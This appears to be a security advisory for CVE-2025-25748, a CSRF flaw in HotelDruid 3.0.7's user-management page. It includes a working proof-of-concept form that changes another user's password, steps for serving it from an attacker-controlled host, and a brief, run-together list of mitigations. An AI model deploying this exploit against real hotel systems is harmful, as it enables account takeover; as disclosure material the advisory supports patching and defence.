
Cross-Site Request Forgery (CSRF) Vulnerability in HotelDruid 3.0.7 (CVE-2025-25748)
A Cross Site Request Forgery (CSRF) vulnerability in the gestione_utenti.php endpoint of HotelDruid 3.0.7 allows attackers to perform unauthorized actions (e.g., modifying user passwords) on behalf of authenticated users by exploiting the lack of origin or referer validation and the absence of CSRF tokens.
This vulnerability exposes all user accounts — including administrative ones — to unauthorized changes without the user’s consent.
The following malicious form demonstrates how an attacker can force a logged-in administrator to change the password of user ID 2 to maliciouspassword:
<form method="POST" action="http://localhost/hoteldruid/gestione_utenti.php"> <input type="hidden" name="anno" value="2025"> <input type="hidden" name="id_sessione" value="20250118062407or6tODG42f79QvMA2429"> <input type="hidden" name="modifica_pass" value="SI"> <input type="hidden" name="id_utente_pass" value="2"> <input type="hidden" name="prima_pass" value="maliciouspassword"> <input type="hidden" name="seconda_pass" value="maliciouspassword"> <button type="submit">Submit</button></form>
Save the above code as csrf_attack.html.
Serve it using Python (attacker-controlled server):
python3 -m http.server 8080
Direct the victim to:
http://<attacker-ip>:8080/csrf_attack.html
Once submitted, the form sends the request to HotelDruid, changing the password of user ID 2 to maliciouspassword, using the victim’s active session.
HotelDruid is a widely-used open-source property management system for hotels and vacation rentals. As a multi-user system with administrative controls for user management, ensuring that only authorized users can modify account credentials is critical for overall system security.
CSRF vulnerabilities exploit the trust a server places in a user’s browser session. If a victim is logged in and visits a malicious page, the page can silently submit unauthorized requests to the vulnerable application using the victim’s active session. In HotelDruid, the lack of CSRF defenses on critical actions — like changing user passwords — allows attackers to fully compromise accounts without user interaction beyond visiting a malicious link.
gestione_utenti.phpmodifica_passid_utente_passprima_passseconda_passOrigin or Referer headers is performed.gestione_utenti.php.Referer and Origin headers to ensure requests come from trusted origins.id_sessione) in the URL.